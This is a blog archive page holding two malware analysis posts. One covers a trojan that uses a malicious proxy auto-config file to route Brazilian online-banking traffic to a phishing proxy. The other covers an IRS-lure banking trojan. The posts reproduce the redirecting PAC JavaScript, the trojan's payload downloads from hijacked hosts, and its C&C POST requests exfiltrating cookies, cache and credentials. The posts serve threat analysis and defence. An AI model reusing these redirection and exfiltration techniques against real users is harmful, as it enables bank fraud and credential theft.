Tag Archives: ebanking

Phishing eBanking Credentials Using Web-Proxies

Everybody is talking about banking Trojans like Mebroot, Gozi, ZeuS and SpyEye and how sophisticated they are. But in this post I would like to show you a different and very simple way that cybercriminals can get your banking credentials without using sophisticated Trojans.

While taking a look at the latest malware binaries on AMaDa I came across a sample which have made a suspicious GET request to a .CH website. The HTTP GET request made by the infected machine looks like this:

GET /pages/dyn/dyn/logs HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Win32)
Host: www.*hidden*.ch

The request was made to a hijacked website, therefore I’ve disclosed the address. But what I can say is that the website happens to belong to a Swiss party of the right wing.

The content the infected machine got back from the site looks very suspicious:

<script type='text/javascript'>
function FindProxyForURL(url, host) {
var d = new Array("www.bradesco.com.br","bradesco.com.br","bradesco.com",
for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) {
return "PROXY"; } }

var n = new Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br",
for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {
return "PROXY"; } }

var c = new Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa.com.br",
for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) {
return "PROXY"; } }

return "DIRECT"; }

Hum… JavaScript code. Does it ring a bell? That’s a PAC file! For those who are not familiar with PAC files: A PAC file is a so called Proxy Auto-Config file which is supported by various web browser to automatically configure the proxy settings of the browser. PAC files are most often used in cooperate networks to tell the web browser to automatically choose the appropriate proxy server (see Wikipedia).

But one question remains: What’s the intend of this PAC file? Well as you probably noticed there are some interesting domain names defined in the PAC file for example internetbanking.caixa.com.br. If you visit the domains listed above you will notice that all of them are websites of Brazilian Banks.

In fact this means: Whenever a victim visits a website listed in the PAC file using a infected computer, the request will be routed thorught the following web proxy which is located in the USA:

Proxy Host:
Proxy Port: 80
AS number: AS26277
AS name: PREMIANET – Las Vegas NV Datacenter
Country: US

OK, let’s summarize: The victims browser is now using a web proxy which is obviously managed by cybercriminals and used to steal credentials of online banking accounts. But how do the cybercriminals manage to get the credentials? Remember that you can not easily do a man in the middle (MITM) attack on an ebanking session due to the fact that you are using SSL to communicate with your online bank. So if they would do a MITM between your computer and your online bank you would get a certificate warning from your web browser, right?

I was very curious as to how the cybercriminals solved this problem, so I decided to infect a VM with the Trojan and take a closer look at it.

After infecting the computer with the Trojan I tried to open www.google.ch in the web browser:

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.ch
Connection: Keep-Alive

Let’s do a short crosscheck on this:

$ dig +short www.google.ch

Looks good: The web browser communicated directly to www.google.ch ( without using the cybercriminal’s proxy.

Let’s do another test and this time we use www.banrisul.com.br which is listed in the PAC-file. This means that for this URL the web browser should use the web proxy instead of going to the website directly:

GET http://www.banrisul.com.br/ HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.banrisul.com.br
Proxy-Connection: Keep-Alive

A short crosscheck:

$ dig +short www.banrisul.com.br

As expected the web browser uses the cybercriminal’s web proxy ( instead of connecting to the banks website directly – that’s bad. What is interesting is the content which we get back from the cybercriminal’s web proxy:

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8

<title>Portal Internet Banrisul  | Banco do Estado do Rio Grande do Sul, S.A. </title>
<LINK REL="SHORTCUT ICON" href="banrisul.ico" type="image/x-icon">
<frameset rows="100%" border="0" frameborder="0" framespacing="0"><br /><br />
<frame name=top src=http://www.moser.in.rs/_//banrisul></frameset>

That’s not what I’ve expect: This is not the website of the bank we wanted to visit! It’s simple HTML code with a frameset pointing to a different website:


It’s seems to be a legitimate website running Joomla CMS. So most probably this website is hijacked because if we take a look at the “banrisul” directory we will see a replica of the Bank’s website we originally wanted to visit. In the victims web browser it will look like this:

Please notice that the address bar still displays the website of the banking site which we originally wanted to visit. But if we move the cursor over a hyper link on the website we will see the website it is really pointing to. If the victim now want to login to his online bank he will get a web form which animates the victim to enter his account number, password and PIN/TAN:

Of course the credentials won’t be submitted to his online bank rather then to the cybercriminals.

This is a pretty interesting example which shows how easy it can be for cybercriminals to obtain credentials for online banking accounts. If we summarize this simple phishing we are able to make the following conclusions:

  • The cybercriminals does not need to do a MITM, they just fake the website of your online bank. Pretty simple but very effective!
  • Everything that the cybercriminal needs do to on the victims side (client) is to change the address of the PAC-file in the web browser
  • To change the that PAC-files address, the cybercriminals doesn’t even need to install a Trojan horse: They just need a small script which changes a registry key
  • Therefore there is no Trojan horse which can be detected by the AV vendors because changing the address of the PAC file don’t have to be a malicious activity
  • The only chance to mitigate the threat is to detect the malicious script/binaries which change the address of the PAC file before the infection

If the AV-vendors are not able to detect the malicious file before the infection happens, the last line of defense is the network by detecting and mitigating the malicious traffic to the cybercriminal’s web proxy on the network layer. And at least in this case it is another example how poor the AV detection rate can be:

File name: foto.exe
File size: 372224 bytes
MD5: 91a42b9bdca567c31fe1692c13a9de1d
SHA1: 79497ebc0372c8c5352b2f30f9ddb2d0965de3fa
VT Result: 1 /42 (2.4%)

Are the cybercriminals going away from classic eBanking Trojans like ZeuS & Co and go over to the scheme described above? We will see what the future brings…

You can also follow abuse.ch on Twitter: twitter.com/abuse_ch

Banking Trojan Uses XML Based Config Files

While doing some work on my new project called AMaDa, I came across a banking Trojan which I’ve never seen before (what doesn’t mean that the Trojan itself has to be new).

The Trojan is being spread by at least two URLs which are most probably hijacked webservers:

URL: http://ihr-XXXXX.de/irs-pdf-f941.irs.com
Filename: irs-pdf-f941.irs.com
File size: 85504 bytes
MD5 : 9465ba350ecbc778b5d14e6f818d6715
SHA1: 484c869dc626db51450964c0089fff36447a3c86
VT tesult: 25 /42 (59.5%)

URL: hXXp://usa-XXXXX.org/download_pdf.html
Filename: download_pdf.com
File size: 44544 bytes
MD5: 32e4bedf5a196d3bbd707737b58eafd0
SHA1: 5660adb2720c3dfa64a184ec9ccc01767780abff
VT tesult: 31 /41 (75.6%)

For now I don’t know the infection vector. I assume that these urls have most probably been spammed out in juli and august 2010. It seems that the AV-Vendors currently don’t have any name for this kind of malware family. Most oft the AV-products just detected the files using some heuristic mechanism (Win32:Malware-gen, Heur.Packed.Unknown, Heur.Trojan.Generic, Generic Trojan etc…).

The reason why I pointed my attention to those malware samples is that both binaries are downloading a PDF file from the Internal Revenue Service (IRS) by opening a PDF file located at the website of the IRS:

The reason why the Trojan display this PDF file is simple: The victim expected a PDF file from the IRS when he opened the infection binary irs-pdf-f941.irs.com. Due to the fact that the Trojan displays a PDF from IRS, the victim will not recognize that he just got infected with a banking Trojan. A pretty nice idea from the cybercriminals….

Let’s take a deeper look into the behavior of the Trojan after a successful infection: First of all the Trojan drops another binary from a hijacked website in Poland:

GET http://www.psbprzedborz.pl/1.jpg
Filename: 1.jpg
File size : 680960 bytes
MD5: 0b88b5445e6597d2e0f04f0d143baafe
SHA1: af8ce9501c64ad8e559ac01c22a8e5575f3293f8
Result: 19 /42 (45.2%)

Afterwards the Trojan copy the downloaded file into the Windows-Directory (eg. on Windows XP):


Now the Trojan drops another file from the same hijacked website:

GET http://www.psbprzedborz.pl/2.jpg
Filename: 2.jpg
File size : 790016 bytes
MD5: d79dba50310858b7ab875cc504955d6b
SHA1: d541f35489c5cb703217331ead99ec22597ee3fa
Result: 18 /42 (42.9%)

This time the Trojan puts the downloaded binary to the following file path:


The Trojan downloads another two files from the following URLs:

GET http://www.psbprzedborz.pl/ChilkatCert_NT4.dll
Filename: ChilkatCert_NT4.dll
File size: 1187840 bytes
MD5: eaaab49836d94f98154608017615d798
SHA1: 8cdc4ee656262fc3465e209dccb9476a6f4c3072
Result: 15 /42 (35.7%)

GET http://www.psbprzedborz.pl/extract_cert.exe
Filename: extract_cert.exe
File size: 425984 bytes
MD5: b24cb5e2e96115eca60b4051fb0a8e68
SHA1: d9df321378027ece3935a646d86a45500b49fa59
Result: 13 /42 (31.0%)

And save it to the following file paths:


Those two file are obviously used to steal certificates from the Chilkat Software and from the windows cert manager. What next happens is… nothing. As long as the user of the infected computer doesn’t open the web browser (eg. Internet Explorer) the Trojan won’t communicated with the Command&Control Server. As soon as the victim open the web browser the Trojan begins to talk:

POST /ebb.php HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=——–081810192853104
Content-Length: 439
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)

Content-Disposition: form-data; name=”cmd”

Content-Disposition: form-data; name=”from”

Content-Disposition: form-data; name=”v”

Content-Disposition: form-data; name=”UID”

[{Windows XP Professional Service Pack 3-COMPUTERNAME-USERNAME}]

As shown above, the Trojan reports the version of the Trojan, the current status, the web browser version as well as the operating system to the C&C server, which is located in Bosnia:

IP address:
AS number: 42560
AS name: BA-GLOBALNET-AS GlobalNET Bosnia

This AS is a well known source of badness, so the server can be considered as Bulletproof Hosted:

Let’s go back to the Trojan: The reply which the C&C servers sends back to the infected client looks quite interesting. It’s a XML file containing the targets of the phishing attack:

HTTP/1.1 200 OK
Server: Apache/2
X-Powered-By: PHP/5.2.13
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<\?xml version="1.0" encoding="utf-8"?>















I’ve censored the names of the banks which are being targeted by this Trojan. But I can say that it looks like as all of them are more or less well known banks in the US. To look what will happen, I’ve visited a login page of a online banking website which is being targeted above. I was pretty surprised as I saw that the Trojan just have stolen the temporary files from the browser cache aswell as the saved cookies:

Browser cache (sent to the C&C using HTTP POST):

Content-Disposition: form-data; name=”cmd”

Content-Disposition: form-data; name=”file1″; filename=”C:\DOCUME~1\XXXX\LOCALS~1\Temp\aboutHtmlPagesblank\1064_1080\1.txt”
Content-Type: text/plain

<\!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<\html xmlns="http://www.w3.org/1999/xhtml" style="height: 100%">
<\head id="ctl00_Head1"><\title>Welcome to XXX Bank<\/title>

As soon as the victim enters his credentials for the online banking account, the Trojan will steal the credentials and send it to the C&C:

Content-Disposition: form-data; name=”data”

token_code=XXXXX&force_fake_token_field=22&Sign+On=Sign+On.token_code=XXXXX&force_fake_token_field=22&Sign On=Sign On&253D1&TYPE=XXXXX&COMPANY=XXXXX&WFUID=XXXXX&PASSWORD=XXXXX&Sign+On=Sign+On.REALM=XXXXX&DOMAIN=XXXXX&TARGET=

Due to the fact, that each security toke can only be used once, the Trojan will display a faked error message:

The faked error message tries to hide the fact that the entered credentials just in time gave been stoled by a banking Trojan

*** Conclusion ***
Summarized, the credentials are being stolen as follow:

  • Trojan gets a XML config file from the C&C server, defining the banks which the Trojan should target. The config file also contains a URL to a fake token form as well a URL where a fake error message is being displayed (after login)
  • As soon as the victim tries to log in into a online bank defined in the config, the Trojan will display a fake token form
  • After the victim entered his credentials, the Trojan will steal the credentials and display a fake error message

The technique being used by the Trojan isn’t pretty new. There are a few other Trojan families which are using the same method. I can only suggest all home users: Your online bank would never display a error message like “under maintenance due to blabla” after you logged into your account. Such error message will always be shown to you before you can enter the credentials to your online banking account!